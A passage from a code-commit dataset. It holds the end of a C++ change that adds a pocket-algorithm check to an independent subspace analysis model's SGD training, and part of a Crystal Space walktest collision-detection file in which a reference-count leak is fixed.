params);\n\n\t\tif(params.callback)\n\t\t\tif(!(*params.callback)(i + 1, *this))\n\t\t\t\tbreak;\n\t}\n}\n\n\n\nvoid ISA::trainPrior(const MatrixXd& states, const Parameters params) {\n\t\/\/ TODO: parallelize\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tmSubspaces[i].train(states.middleRows(from, mSubspaces[i].dim()),\n\t\t\tparams.GSM.maxIter,\n\t\t\tparams.GSM.tol);\n}\n\n\n\nbool ISA::trainSGD(\n\tconst MatrixXd& complData,\n\tconst MatrixXd& complBasis,\n\tconst Parameters params)\n{\n\t\/\/ filter matrix and momentum\n\tMatrixXd W = complBasis.inverse();\n\tMatrixXd P = MatrixXd::Zero(complBasis.rows(), complBasis.cols());\n\n\tfor(int i = 0; i < params.SGD.maxIter; ++i) {\n\t\tfor(int j = 0; j + params.SGD.batchSize <= complData.cols(); j += params.SGD.batchSize) {\n\t\t\tMatrixXd X = complData.middleCols(j, params.SGD.batchSize);\n\n\t\t\t\/\/ update momentum with natural gradient\n\t\t\tP = params.SGD.momentum * P + W\n\t\t\t\t- priorEnergyGradient(W * X) * X.transpose() * (W.transpose() * W);\n\n\t\t\t\/\/ update filter matrix\n\t\t\tW += params.SGD.stepWidth \/ params.SGD.batchSize * P;\n\t\t}\n\t}\n\n\t\/\/ update basis\n\tsetBasis(W.inverse().leftCols(numHiddens()));\n\n\treturn true;\n}\n\n\n\nMatrixXd ISA::sample(int numSamples) {\n\treturn basis() * samplePrior(numSamples);\n}\n\n\n\nMatrixXd ISA::samplePrior(int numSamples) {\n\tMatrixXd samples = MatrixXd::Zero(numHiddens(), numSamples);\n\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tsamples.middleRows(from, mSubspaces[i].dim()) =\n\t\t\tmSubspaces[i].sample(numSamples);\n\n\treturn samples;\n}\n\n\n\nMatrixXd ISA::samplePosterior(const MatrixXd& data) {\n\t\/\/ TODO: implement Gibbs sampling\n\treturn samplePrior(data.cols());\n}\n\n\n\nMatrixXd ISA::priorEnergy(const MatrixXd& states) {\n\tMatrixXd energy = MatrixXd::Zero(states.rows(), states.cols());\n\n\t\/\/ TODO: parallelize\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tenergy.middleRows(from, mSubspaces[i].dim()) =\n\t\t\tmSubspaces[i].energy(states.middleRows(from, mSubspaces[i].dim()));\n\n\treturn energy.colwise().sum();\n}\n\n\n\nMatrixXd ISA::priorEnergyGradient(const MatrixXd& states) {\n\tMatrixXd gradient = MatrixXd::Zero(states.rows(), states.cols());\n\n\t\/\/ TODO: parallelize\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tgradient.middleRows(from, mSubspaces[i].dim()) =\n\t\t\tmSubspaces[i].energyGradient(states.middleRows(from, mSubspaces[i].dim()));\n\n\treturn gradient;\n}\n\n\n\nMatrixXd ISA::logLikelihood(const MatrixXd& data) {\n\t\/\/ LU decomposition\n\tPartialPivLU<MatrixXd> basisLU(mBasis);\n\n\t\/\/ compute log-determinant of basis\n\tdouble logDet = basisLU.matrixLU().diagonal().array().abs().log().sum();\n\n\tMatrixXd states = basisLU.solve(data);\n\tMatrixXd logLik = MatrixXd::Zero(states.rows(), states.cols());\n\n\t\/\/ TODO: parallelize\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tlogLik.middleRows(from, mSubspaces[i].dim()) =\n\t\t\tmSubspaces[i].logLikelihood(states.middleRows(from, mSubspaces[i].dim()));\n\n\treturn logLik.colwise().sum().array() - logDet;\n}\n<commit_msg>Implemented pocket algorithm.<commit_after>#include \"isa.h\"\n#include \"Eigen\/LU\"\n#include <iostream>\n\nISA::ISA(int numVisibles, int numHiddens, int sSize, int numScales) :\n\tmNumVisibles(numVisibles), mNumHiddens(numHiddens)\n{\n\tif(mNumHiddens < mNumVisibles)\n\t\tmNumHiddens = mNumVisibles;\n\tmBasis = ArrayXXd::Random(mNumVisibles, mNumHiddens) \/ 10.;\n\n\tfor(int i = 0; i < mNumHiddens \/ sSize; ++i)\n\t\tmSubspaces.push_back(GSM(sSize, numScales));\n\n\tif(mNumHiddens % sSize)\n\t\tmSubspaces.push_back(GSM(mNumHiddens % sSize, numScales));\n}\n\n\n\nISA::~ISA() {\n}\n\n\n\nvoid ISA::train(const MatrixXd& data, Parameters params) {\n\tif(params.callback)\n\t\t\/\/ call callback function once before training\n\t\tif(!(*params.callback)(0, *this))\n\t\t\treturn;\n\n\tfor(int i = 0; i < params.maxIter; ++i) {\n\t\t\/\/ optimize basis\n\t\tbool improved = trainSGD(data, basis(), params);\n\n\t\tif(params.adaptive)\n\t\t\tparams.SGD.stepWidth *= improved ? 1.1 : 0.5;\n\n\t\t\/\/ optimize marginal distributions\n\t\ttrainPrior(basis().inverse() * data, params);\n\n\t\tif(params.callback)\n\t\t\tif(!(*params.callback)(i + 1, *this))\n\t\t\t\tbreak;\n\t}\n}\n\n\n\nvoid ISA::trainPrior(const MatrixXd& states, const Parameters params) {\n\t\/\/ TODO: parallelize\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tmSubspaces[i].train(states.middleRows(from, mSubspaces[i].dim()),\n\t\t\tparams.GSM.maxIter,\n\t\t\tparams.GSM.tol);\n}\n\n\n\nbool ISA::trainSGD(\n\tconst MatrixXd& complData,\n\tconst MatrixXd& complBasis,\n\tconst Parameters params)\n{\n\t\/\/ LU decomposition\n\tPartialPivLU<MatrixXd> basisLU(complBasis);\n\n\t\/\/ filter matrix and momentum\n\tMatrixXd W = basisLU.inverse();\n\tMatrixXd P = MatrixXd::Zero(complBasis.rows(), complBasis.cols());\n\n\t\/\/ compute value of lower bound\n\tdouble logDet = basisLU.matrixLU().diagonal().array().abs().log().sum();\n\tdouble energy = priorEnergy(W * complData).array().mean() + logDet;\n\n\tfor(int i = 0; i < params.SGD.maxIter; ++i) {\n\t\tfor(int j = 0; j + params.SGD.batchSize <= complData.cols(); j += params.SGD.batchSize) {\n\t\t\tMatrixXd X = complData.middleCols(j, params.SGD.batchSize);\n\n\t\t\t\/\/ update momentum with natural gradient\n\t\t\tP = params.SGD.momentum * P + W\n\t\t\t\t- priorEnergyGradient(W * X) * X.transpose() * (W.transpose() * W);\n\n\t\t\t\/\/ update filter matrix\n\t\t\tW += params.SGD.stepWidth \/ params.SGD.batchSize * P;\n\t\t}\n\t}\n\n\t\/\/ compute LU decomposition from filter matrix\n\tPartialPivLU<MatrixXd> filterLU(W);\n\n\t\/\/ compute new value of lower bound\n\tdouble logDetNew = filterLU.matrixLU().diagonal().array().abs().log().sum();\n\tdouble energyNew = priorEnergy(W * complData).array().mean() - logDetNew;\n\n\tif(params.SGD.pocket && energy < energyNew)\n\t\t\/\/ don't update basis\n\t\treturn false;\n\n\t\/\/ update basis\n\tsetBasis(filterLU.inverse().leftCols(numHiddens()));\n\n\treturn energyNew < energy;\n}\n\n\n\nMatrixXd ISA::sample(int numSamples) {\n\treturn basis() * samplePrior(numSamples);\n}\n\n\n\nMatrixXd ISA::samplePrior(int numSamples) {\n\tMatrixXd samples = MatrixXd::Zero(numHiddens(), numSamples);\n\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tsamples.middleRows(from, mSubspaces[i].dim()) =\n\t\t\tmSubspaces[i].sample(numSamples);\n\n\treturn samples;\n}\n\n\n\nMatrixXd ISA::samplePosterior(const MatrixXd& data) {\n\t\/\/ TODO: implement Gibbs sampling\n\treturn samplePrior(data.cols());\n}\n\n\n\nMatrixXd ISA::priorEnergy(const MatrixXd& states) {\n\tMatrixXd energy = MatrixXd::Zero(states.rows(), states.cols());\n\n\t\/\/ TODO: parallelize\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tenergy.middleRows(from, mSubspaces[i].dim()) =\n\t\t\tmSubspaces[i].energy(states.middleRows(from, mSubspaces[i].dim()));\n\n\treturn energy.colwise().sum();\n}\n\n\n\nMatrixXd ISA::priorEnergyGradient(const MatrixXd& states) {\n\tMatrixXd gradient = MatrixXd::Zero(states.rows(), states.cols());\n\n\t\/\/ TODO: parallelize\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tgradient.middleRows(from, mSubspaces[i].dim()) =\n\t\t\tmSubspaces[i].energyGradient(states.middleRows(from, mSubspaces[i].dim()));\n\n\treturn gradient;\n}\n\n\n\nMatrixXd ISA::logLikelihood(const MatrixXd& data) {\n\t\/\/ LU decomposition\n\tPartialPivLU<MatrixXd> basisLU(mBasis);\n\n\t\/\/ compute log-determinant of basis\n\tdouble logDet = basisLU.matrixLU().diagonal().array().abs().log().sum();\n\n\tMatrixXd states = basisLU.solve(data);\n\tMatrixXd logLik = MatrixXd::Zero(states.rows(), states.cols());\n\n\t\/\/ TODO: parallelize\n\tfor(int from = 0, i = 0; i < numSubspaces(); from += mSubspaces[i].dim(), ++i)\n\t\tlogLik.middleRows(from, mSubspaces[i].dim()) =\n\t\t\tmSubspaces[i].logLikelihood(states.middleRows(from, mSubspaces[i].dim()));\n\n\treturn logLik.colwise().sum().array() - logDet;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright (C) 1998-2001 by Jorrit Tyberghein\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public\n    License along with this library; if not, write to the Free\n    Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*\/\n\n#include \"cssysdef.h\"\n#include \"walktest\/walktest.h\"\n#include \"walktest\/infmaze.h\"\n#include \"qint.h\"\n#include \"qsqrt.h\"\n#include \"csgeom\/frustum.h\"\n#include \"ivaria\/view.h\"\n#include \"imesh\/thing\/polygon.h\"\n#include \"imesh\/terrfunc.h\"\n#include \"csgeom\/csrect.h\"\n#include \"csutil\/dataobj.h\"\n#include \"cstool\/keyval.h\"\n#include \"cstool\/collider.h\"\n#include \"cstool\/cspixmap.h\"\n#include \"ivaria\/collider.h\"\n#include \"iengine\/movable.h\"\n#include \"iutil\/objreg.h\"\n#include \"iutil\/plugin.h\"\n\nextern WalkTest *Sys;\n\nint FindIntersection(csCollisionPair& cd,csVector3 line[2])\n{\n  csVector3 tri1[3]; tri1[0]=cd.a1; tri1[1]=cd.b1; tri1[2]=cd.c1;\n  csVector3 tri2[3]; tri2[0]=cd.a2; tri2[1]=cd.b2; tri2[2]=cd.c2;\n\n  return csMath3::FindIntersection(tri1,tri2,line);\n}\n\n\/\/ Define the player bounding box.\n\/\/ The camera's lens or person's eye is assumed to be\n\/\/ at 0,0,0.  The height (DY), width (DX) and depth (DZ).\n\/\/ Is the size of the camera\/person and the origin\n\/\/ coordinates (OX,OY,OZ) locate the bbox with respect to the eye.\n\/\/ This player is 1.8 metres tall (assuming 1cs unit = 1m) (6feet)\n#define DX    cfg_body_width\n#define DY    cfg_body_height\n#define DZ    cfg_body_depth\n#define OY    Sys->cfg_eye_offset\n\n#define DX_L  cfg_legs_width\n#define DZ_L  cfg_legs_depth\n\n#define DX_2  (DX\/2)\n#define DZ_2  (DZ\/2)\n\n#define DX_2L (DX_L\/2)\n#define DZ_2L (DZ_L\/2)\n\n#define OYL  Sys->cfg_legs_offset\n#define DYL  (OY-OYL)\n\nvoid WalkTest::CreateColliders ()\n{\n  iPolygon3D *p;\n  iPolygonMesh* mesh;\n  iPluginManager* plugin_mgr = CS_QUERY_REGISTRY (object_reg, iPluginManager);\n  iMeshObjectType* ThingType = CS_QUERY_PLUGIN_CLASS (plugin_mgr,\n  \t\"crystalspace.mesh.object.thing\", iMeshObjectType);\n  if (!ThingType)\n    ThingType = CS_LOAD_PLUGIN (plugin_mgr,\n    \t\"crystalspace.mesh.object.thing\", iMeshObjectType);\n\n  iMeshObjectFactory* thing_fact = ThingType->NewFactory ();\n  iMeshObject* mesh_obj = SCF_QUERY_INTERFACE (thing_fact, iMeshObject);\n  thing_fact->DecRef ();\n  plbody = Engine->CreateMeshWrapper (mesh_obj, \"Player's Body\");\n  iThingState* thing_state = SCF_QUERY_INTERFACE (mesh_obj, iThingState);\n  mesh_obj->DecRef ();\n\n  thing_state->CreateVertex (csVector3 (-DX_2, OY,    -DZ_2));\n  thing_state->CreateVertex (csVector3 (-DX_2, OY,    DZ_2));\n  thing_state->CreateVertex (csVector3 (-DX_2, OY+DY, DZ_2));\n  thing_state->CreateVertex (csVector3 (-DX_2, OY+DY, -DZ_2));\n  thing_state->CreateVertex (csVector3 (DX_2,  OY,    -DZ_2));\n  thing_state->CreateVertex (csVector3 (DX_2,  OY,    DZ_2));\n  thing_state->CreateVertex (csVector3 (DX_2,  OY+DY, DZ_2));\n  thing_state->CreateVertex (csVector3 (DX_2,  OY+DY, -DZ_2));\n\n  \/\/ Left\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (1);\n  p->CreateVertex (2); p->CreateVertex (3);\n\n  \/\/ Right\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (4); p->CreateVertex (5);\n  p->CreateVertex (6); p->CreateVertex (7);\n\n  \/\/ Bottom\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (1);\n  p->CreateVertex (5); p->CreateVertex (4);\n\n  \/\/ Top\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (3); p->CreateVertex (2);\n  p->CreateVertex (6); p->CreateVertex (7);\n\n  \/\/ Front\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (1); p->CreateVertex (5);\n  p->CreateVertex (6); p->CreateVertex (2);\n\n  \/\/ Back\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (4);\n  p->CreateVertex (7); p->CreateVertex (3);\n\n  mesh = SCF_QUERY_INTERFACE (mesh_obj, iPolygonMesh);\n  body = new csColliderWrapper (plbody->QueryObject (), collide_system, mesh);\n  body->SetName (\"player body\");\n  plbody->GetRadius (body_radius, body_center);\n  mesh->DecRef ();\n  thing_state->DecRef ();\n\n  thing_fact = ThingType-> NewFactory ();\n  ThingType->DecRef ();\n  mesh_obj = SCF_QUERY_INTERFACE (thing_fact, iMeshObject);\n  thing_fact->DecRef ();\n  pllegs = Engine->CreateMeshWrapper (mesh_obj, \"Player's Legs\");\n  thing_state = SCF_QUERY_INTERFACE (mesh_obj, iThingState);\n  mesh_obj->DecRef ();\n\n  thing_state->CreateVertex (csVector3 (-DX_2L, OYL,     -DZ_2L));\n  thing_state->CreateVertex (csVector3 (-DX_2L, OYL,     DZ_2L));\n  thing_state->CreateVertex (csVector3 (-DX_2L, OYL+DYL, DZ_2L));\n  thing_state->CreateVertex (csVector3 (-DX_2L, OYL+DYL, -DZ_2L));\n  thing_state->CreateVertex (csVector3 (DX_2L,  OYL,     -DZ_2L));\n  thing_state->CreateVertex (csVector3 (DX_2L,  OYL,     DZ_2L));\n  thing_state->CreateVertex (csVector3 (DX_2L,  OYL+DYL, DZ_2L));\n  thing_state->CreateVertex (csVector3 (DX_2L,  OYL+DYL, -DZ_2L));\n\n  \/\/ Left\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (1);\n  p->CreateVertex (2); p->CreateVertex (3);\n\n  \/\/ Right\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (4); p->CreateVertex (5);\n  p->CreateVertex (6); p->CreateVertex (7);\n\n  \/\/ Bottom\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (1);\n  p->CreateVertex (5); p->CreateVertex (4);\n\n  \/\/ Top\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (3); p->CreateVertex (2);\n  p->CreateVertex (6); p->CreateVertex (7);\n\n  \/\/ Front\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (1); p->CreateVertex (5);\n  p->CreateVertex (6); p->CreateVertex (2);\n\n  \/\/ Back\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (4);\n  p->CreateVertex (7); p->CreateVertex (3);\n\n  mesh = SCF_QUERY_INTERFACE (mesh_obj, iPolygonMesh);\n  legs = new csColliderWrapper (pllegs->QueryObject (), collide_system, mesh);\n  legs->SetName (\"player legs\");\n  pllegs->GetRadius ( legs_radius, legs_center);\n  mesh->DecRef ();\n  thing_state->DecRef ();\n\n  SCF_DEC_REF (pllegs);\n  SCF_DEC_REF (plbody);\n\n  SCF_DEC_REF (legs);\n  SCF_DEC_REF (body);\n\n  if (!body || !legs)\n    do_cd = false;\n}\n\n#define MAXSECTORSOCCUPIED  20\n\n\/\/ No more than 1000 collisions ;)\ncsCollisionPair our_cd_contact[1000];\nint num_our_cd;\n\nint FindSectors (csVector3 v, csVector3 d, iSector *s, iSector **sa)\n{\n  int c = 0;\n  \/\/ @@@ Avoid this sqrt somehow? i.e. by having it in the objects.\n  float size = qsqrt (d.x * d.x + d.y * d.y + d.z * d.z);\n  iSectorIterator* it = Sys->Engine->GetNearbySectors (s, v, size);\n  iSector* sector;\n  while ((sector = it->Fetch ()) != NULL)\n  {\n    sa[c++] = sector;\n    if (c >= MAXSECTORSOCCUPIED) break;\n  }\n  it->DecRef ();\n  return c;\n}\n\nint CollisionDetect (csColliderWrapper *c, iSector* sp,\n\tcsReversibleTransform *cdt)\n{\n  int hit = 0;\n  int i, j;\n\n  \/\/ Check collision with this sector.\n  Sys->collide_system->ResetCollisionPairs ();\n  if (c->Collide (sp->QueryObject (), cdt)) hit++;\n  csCollisionPair* CD_contact = Sys->collide_system->GetCollisionPairs ();\n\n  for (i=0 ; i<Sys->collide_system->GetCollisionPairCount () ; i++)\n    our_cd_contact[num_our_cd++] = CD_contact[i];\n\n  if (Sys->collide_system->GetOneHitOnly () && hit)\n    return 1;\n\n  \/\/ Check collision with the meshes in this sector.\n  iMeshList* ml = sp->GetMeshes ();\n  for (i = 0 ; i < ml->GetCount () ; i++)\n  {\n    iMeshWrapper* tp = ml->Get (i);\n    Sys->collide_system->ResetCollisionPairs ();\n    if (c->Collide (tp->QueryObject (), cdt,\n    \t&tp->GetMovable ()->GetTransform ())) hit++;\n\n    CD_contact = Sys->collide_system->GetCollisionPairs ();\n    for (j=0 ; j<Sys->collide_system->GetCollisionPairCount () ; j++)\n      our_cd_contact[num_our_cd++] = CD_contact[j];\n\n    if (Sys->collide_system->GetOneHitOnly () && hit)\n      return 1;\n    \/\/ TODO, should test which one is the closest.\n  }\n\n  return hit;\n}\n\nvoid DoGravity (csVector3& pos, csVector3& vel)\n{\n  pos=Sys->view->GetCamera ()->GetTransform ().GetOrigin ();\n\n  csVector3 new_pos = pos+vel;\n  csMatrix3 m;\n  csOrthoTransform test (m, new_pos);\n\n  iSector *n[MAXSECTORSOCCUPIED];\n  int num_sectors = FindSectors (new_pos, 4.0f*Sys->body_radius,\n    Sys->view->GetCamera()->GetSector(), n);\n\n  num_our_cd = 0;\n  Sys->collide_system->SetOneHitOnly (false);\n  int hits = 0;\n\n  \/\/ Check to see if there are any terrains, if so test against those.\n  \/\/ This routine will automatically adjust the transform to the highest\n  \/\/ terrain at this point.\n  int k;\n  for ( k = 0; k < num_sectors ; k++)\n  {\n    iMeshList* ml = n[k]->GetMeshes ();\n    if (ml->GetCount () > 0)\n    {\n      int i;\n      for (i = 0 ; i < ml->GetCount () ; i++)\n      {\n\tiMeshWrapper* terrain = ml->Get (i);\n\tiTerrFuncState* state = SCF_QUERY_INTERFACE (terrain\n\t\t->GetMeshObject (), iTerrFuncState);\n\tif (state)\n\t{\n\t  hits += state->CollisionDetect( &test );\n\t  state->DecRef ();\n        }\n      }\n    }\n  }\n\n  \/\/ If there were hits with the terrain we update our new position\n  \/\/ here. Side note: this could moved outside the loop above because\n  \/\/ a compiler bug with gcc 2.7.2 prevented it from working when inside\n  \/\/ the loop.\n  if (hits) new_pos = test.GetOrigin ();\n\n  int j;\n\n  if (hits == 0)\n  {\n    Sys->collide_system->ResetCollisionPairs ();\n\n    for ( ; num_sectors-- ; )\n      hits += CollisionDetect (Sys->body, n[num_sectors], &test);\n\n\/\/printf (\"body: hits=%d num_our_cd=%d\\n\", hits, num_our_cd);\n    for (j=0 ; j<num_our_cd ; j++)\n    {\n      csCollisionPair& cd = our_cd_contact[j];\n      csVector3 n = ((cd.c2-cd.b2)%(cd.b2-cd.a2)).Unit();\n      if (n*vel<0)\n        continue;\n      vel = -(vel%n)%n;\n    }\n\n    \/\/ We now know our (possible) velocity. Let's try to move up or down, if possible\n    new_pos = pos+vel;\n    test = csOrthoTransform (csMatrix3(), new_pos);\n\n    num_sectors = FindSectors (new_pos, 4.0f*Sys->legs_radius,\n\t\tSys->view->GetCamera()->GetSector(), n);\n\n    num_our_cd = 0;\n    Sys->collide_system->SetOneHitOnly (false);\n    Sys->collide_system->ResetCollisionPairs ();\n    int hit = 0;\n\n    for ( ; num_sectors-- ; )\n      hit += CollisionDetect (Sys->legs, n[num_sectors], &test);\n\n    if (!hit)\n    {\n      Sys->on_ground = false;\n      if (Sys->do_gravity && !Sys->move_3d)\n\tvel.y -= 0.002;\n    }\n    else\n    {\n      float max_y=-1e10;\n\n      for (j=0 ; j<num_our_cd ; j++)\n      {\n\tcsCollisionPair cd = our_cd_contact[j];\n        csVector3 n = ((cd.c2-cd.b2)%(cd.b2-cd.a2)).Unit();\n\n\tif (n*csVector3(0,-1,0)<0.7) continue;\n\n\tcsVector3 line[2];\n\n\tcd.a1 += new_pos;\n\tcd.b1 += new_pos;\n\tcd.c1 += new_pos;\n\n\tif (FindIntersection (cd,line))\n\t{\n\t  if (line[0].y>max_y)\n\t    max_y=line[0].y;\n\t  if (line[1].y>max_y)\n\t    max_y=line[1].y;\n\t}\n      }\n\n      float p = new_pos.y-max_y+OYL+0.01;\n      if (ABS(p)<DYL-0.01)\n      {\n\tif (max_y != -1e10)\n\t  new_pos.y = max_y-OYL-0.01;\n\n\tif (vel.y<0)\n\t  vel.y = 0;\n      }\n      Sys->on_ground = true;\n    }\n  }\n  new_pos -= Sys->view->GetCamera ()->GetTransform ().GetOrigin ();\n  Sys->view->GetCamera ()->MoveWorld (new_pos);\n  Sys->velocity = Sys->view->GetCamera ()->GetTransform ().GetO2T ()*vel;\n\n  if(!Sys->do_gravity)\n    Sys->velocity.y -= SIGN (Sys->velocity.y) * MIN (0.017, ABS (Sys->velocity.y));\n\n}\n\n<commit_msg>plugin_mgr was not decref'ed<commit_after>\/*\n    Copyright (C) 1998-2001 by Jorrit Tyberghein\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public\n    License along with this library; if not, write to the Free\n    Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*\/\n\n#include \"cssysdef.h\"\n#include \"walktest\/walktest.h\"\n#include \"walktest\/infmaze.h\"\n#include \"qint.h\"\n#include \"qsqrt.h\"\n#include \"csgeom\/frustum.h\"\n#include \"ivaria\/view.h\"\n#include \"imesh\/thing\/polygon.h\"\n#include \"imesh\/terrfunc.h\"\n#include \"csgeom\/csrect.h\"\n#include \"csutil\/dataobj.h\"\n#include \"cstool\/keyval.h\"\n#include \"cstool\/collider.h\"\n#include \"cstool\/cspixmap.h\"\n#include \"ivaria\/collider.h\"\n#include \"iengine\/movable.h\"\n#include \"iutil\/objreg.h\"\n#include \"iutil\/plugin.h\"\n\nextern WalkTest *Sys;\n\nint FindIntersection(csCollisionPair& cd,csVector3 line[2])\n{\n  csVector3 tri1[3]; tri1[0]=cd.a1; tri1[1]=cd.b1; tri1[2]=cd.c1;\n  csVector3 tri2[3]; tri2[0]=cd.a2; tri2[1]=cd.b2; tri2[2]=cd.c2;\n\n  return csMath3::FindIntersection(tri1,tri2,line);\n}\n\n\/\/ Define the player bounding box.\n\/\/ The camera's lens or person's eye is assumed to be\n\/\/ at 0,0,0.  The height (DY), width (DX) and depth (DZ).\n\/\/ Is the size of the camera\/person and the origin\n\/\/ coordinates (OX,OY,OZ) locate the bbox with respect to the eye.\n\/\/ This player is 1.8 metres tall (assuming 1cs unit = 1m) (6feet)\n#define DX    cfg_body_width\n#define DY    cfg_body_height\n#define DZ    cfg_body_depth\n#define OY    Sys->cfg_eye_offset\n\n#define DX_L  cfg_legs_width\n#define DZ_L  cfg_legs_depth\n\n#define DX_2  (DX\/2)\n#define DZ_2  (DZ\/2)\n\n#define DX_2L (DX_L\/2)\n#define DZ_2L (DZ_L\/2)\n\n#define OYL  Sys->cfg_legs_offset\n#define DYL  (OY-OYL)\n\nvoid WalkTest::CreateColliders ()\n{\n  iPolygon3D *p;\n  iPolygonMesh* mesh;\n  iPluginManager* plugin_mgr = CS_QUERY_REGISTRY (object_reg, iPluginManager);\n  iMeshObjectType* ThingType = CS_QUERY_PLUGIN_CLASS (plugin_mgr,\n  \t\"crystalspace.mesh.object.thing\", iMeshObjectType);\n  if (!ThingType)\n    ThingType = CS_LOAD_PLUGIN (plugin_mgr,\n    \t\"crystalspace.mesh.object.thing\", iMeshObjectType);\n\n  plugin_mgr->DecRef ();\n  iMeshObjectFactory* thing_fact = ThingType->NewFactory ();\n  iMeshObject* mesh_obj = SCF_QUERY_INTERFACE (thing_fact, iMeshObject);\n  thing_fact->DecRef ();\n  plbody = Engine->CreateMeshWrapper (mesh_obj, \"Player's Body\");\n  iThingState* thing_state = SCF_QUERY_INTERFACE (mesh_obj, iThingState);\n  mesh_obj->DecRef ();\n\n  thing_state->CreateVertex (csVector3 (-DX_2, OY,    -DZ_2));\n  thing_state->CreateVertex (csVector3 (-DX_2, OY,    DZ_2));\n  thing_state->CreateVertex (csVector3 (-DX_2, OY+DY, DZ_2));\n  thing_state->CreateVertex (csVector3 (-DX_2, OY+DY, -DZ_2));\n  thing_state->CreateVertex (csVector3 (DX_2,  OY,    -DZ_2));\n  thing_state->CreateVertex (csVector3 (DX_2,  OY,    DZ_2));\n  thing_state->CreateVertex (csVector3 (DX_2,  OY+DY, DZ_2));\n  thing_state->CreateVertex (csVector3 (DX_2,  OY+DY, -DZ_2));\n\n  \/\/ Left\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (1);\n  p->CreateVertex (2); p->CreateVertex (3);\n\n  \/\/ Right\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (4); p->CreateVertex (5);\n  p->CreateVertex (6); p->CreateVertex (7);\n\n  \/\/ Bottom\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (1);\n  p->CreateVertex (5); p->CreateVertex (4);\n\n  \/\/ Top\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (3); p->CreateVertex (2);\n  p->CreateVertex (6); p->CreateVertex (7);\n\n  \/\/ Front\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (1); p->CreateVertex (5);\n  p->CreateVertex (6); p->CreateVertex (2);\n\n  \/\/ Back\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (4);\n  p->CreateVertex (7); p->CreateVertex (3);\n\n  mesh = SCF_QUERY_INTERFACE (mesh_obj, iPolygonMesh);\n  body = new csColliderWrapper (plbody->QueryObject (), collide_system, mesh);\n  body->SetName (\"player body\");\n  plbody->GetRadius (body_radius, body_center);\n  mesh->DecRef ();\n  thing_state->DecRef ();\n\n  thing_fact = ThingType-> NewFactory ();\n  ThingType->DecRef ();\n  mesh_obj = SCF_QUERY_INTERFACE (thing_fact, iMeshObject);\n  thing_fact->DecRef ();\n  pllegs = Engine->CreateMeshWrapper (mesh_obj, \"Player's Legs\");\n  thing_state = SCF_QUERY_INTERFACE (mesh_obj, iThingState);\n  mesh_obj->DecRef ();\n\n  thing_state->CreateVertex (csVector3 (-DX_2L, OYL,     -DZ_2L));\n  thing_state->CreateVertex (csVector3 (-DX_2L, OYL,     DZ_2L));\n  thing_state->CreateVertex (csVector3 (-DX_2L, OYL+DYL, DZ_2L));\n  thing_state->CreateVertex (csVector3 (-DX_2L, OYL+DYL, -DZ_2L));\n  thing_state->CreateVertex (csVector3 (DX_2L,  OYL,     -DZ_2L));\n  thing_state->CreateVertex (csVector3 (DX_2L,  OYL,     DZ_2L));\n  thing_state->CreateVertex (csVector3 (DX_2L,  OYL+DYL, DZ_2L));\n  thing_state->CreateVertex (csVector3 (DX_2L,  OYL+DYL, -DZ_2L));\n\n  \/\/ Left\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (1);\n  p->CreateVertex (2); p->CreateVertex (3);\n\n  \/\/ Right\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (4); p->CreateVertex (5);\n  p->CreateVertex (6); p->CreateVertex (7);\n\n  \/\/ Bottom\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (1);\n  p->CreateVertex (5); p->CreateVertex (4);\n\n  \/\/ Top\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (3); p->CreateVertex (2);\n  